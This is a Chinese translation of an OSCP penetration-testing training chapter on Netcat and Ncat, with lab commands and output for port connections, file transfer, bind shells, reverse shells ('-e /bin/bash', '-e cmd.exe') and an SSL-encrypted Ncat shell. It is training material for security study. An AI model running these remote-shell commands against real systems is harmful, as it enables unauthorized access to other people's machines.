OSCP必备参考书籍之一,这本书里加详细介绍实战套路中细节,为大家可以快速了解OSCP知识点,所以团队开启这本书翻译之作。 ---小峰
0x02.1 Netcat公司
02.1.1 连接到TCP/UDP端口
Please note, the IPs used in the videos will not match your Offensive Security lab IP addresses. The IPs used in this guide are for example only. [email protected]:~# nc -nv 10.0.0.22 110 (UNKNOWN) [10.0.0.22] 110 (pop3) open
[email protected]:~# nc -nv 10.0.0.22 110 (UNKNOWN) [10.0.0.22] 110 (pop3) open +OK POP3 server lab ready <[email protected]> USER offsec +OK offsec welcome here PASS offsec -ERR unable to lock mailbox
02.1.2 监听TCP/UDP端口
C:Usersoffsec>nc -nlvp 4444 listening on [any] 4444 ...
[email protected]:~# nc -nv 10.0.0.22 4444 (UNKNOWN) [10.0.0.22] 4444 (?) open This chat is from the linux machine
02.1.3 -使用Netcat传输文件
C:Usersoffsec>nc -nlvp 4444 > incoming.exe listening on [any] 4444 ...
[email protected]:~# locate wget.exe [email protected]:~# nc -nv 10.0.0.22 4444 < /usr/share/windows-binaries/wget.exe (UNKNOWN) [10.0.0.22] 4444 (?) open
C:Usersoffsec>incoming.exe -h GNU Wget 1.9.1, a non-interactive network retriever. Usage:
02.1.4 使用Netcat进行远程管理
02.1.4.1 Netcat绑定Shell方案
C:Usersoffsec>nc -nlvp 4444 -e cmd.exe listening on [any] 4444 ...
[email protected]:~# ifconfig eth0 | grep inet inet addr:10.0.0.4 Bcast:10.0.0.255 Mask:255.255.255.0 [email protected]:~# nc -nv 10.0.0.22 4444 (UNKNOWN) [10.0.0.22] 4444 (?) open Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:Usersoffsec>ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . :
02.1.4.2 -反向shell方案
C:Usersoffsec>nc -nlvp 4444 listening on [any] 4444 ...
[email protected]:~# nc -nv 10.0.0.22 4444 -e /bin/bash (UNKNOWN) [10.0.0.22] 4444 (?) open
02.1.5 -练习
0x02.2 Ncat公司
C:Usersoffsec>ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl Ncat: Version 5.59BETA1 ( http://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Ncat: SHA-1 fingerprint: 1FC9 A338 0B1F 4AE5 897A 375F 404E 8CB1 12FA DB94 Ncat: Listening on 0.0.0.0:4444 Ncat:
[email protected]:~# ncat -v 10.0.0.22 4444 --ssl Ncat: Version 6.25 ( http://nmap.org/ncat ) Ncat: SSL connection to 10.0.0.22:4444. Ncat: SHA-1 fingerprint: 1FC9 A338 0B1F 4AE5 897A 375F 404E 8CB1 12FA DB94 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
02.2.1 练习
0x02.3 结论
关于以上bash脚本编写还是linux分析命令,大家要下来以后多加练习,从书上我们如何在日志中找到攻击者攻击量最多的攻击者,所以学习以上命令你将会使用命令分析日志文件。
红日安全长期、短期项目招聘:Hvv、重保、安服、培训等项目
文章投稿&项目招聘邮箱:
annapeng2021@163.com
同样感谢一直在安全圈中深耕着的每一位hacker
描下方二维码,期待加入红日安全交流群:
有幸一起并肩前行,有幸一起见证着“红日”成长。在大家身上我已经收获得足够多了,是时候用实际行动向安全世界说声谢谢了。
翻译:小峰
编辑:小jia
红日安全出品|转载请注明来源
海量安全课程
阅读原文 即可观看
原文始发于微信公众号(红日安全):OSCP-PWK-渗透测试nc代理使用
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论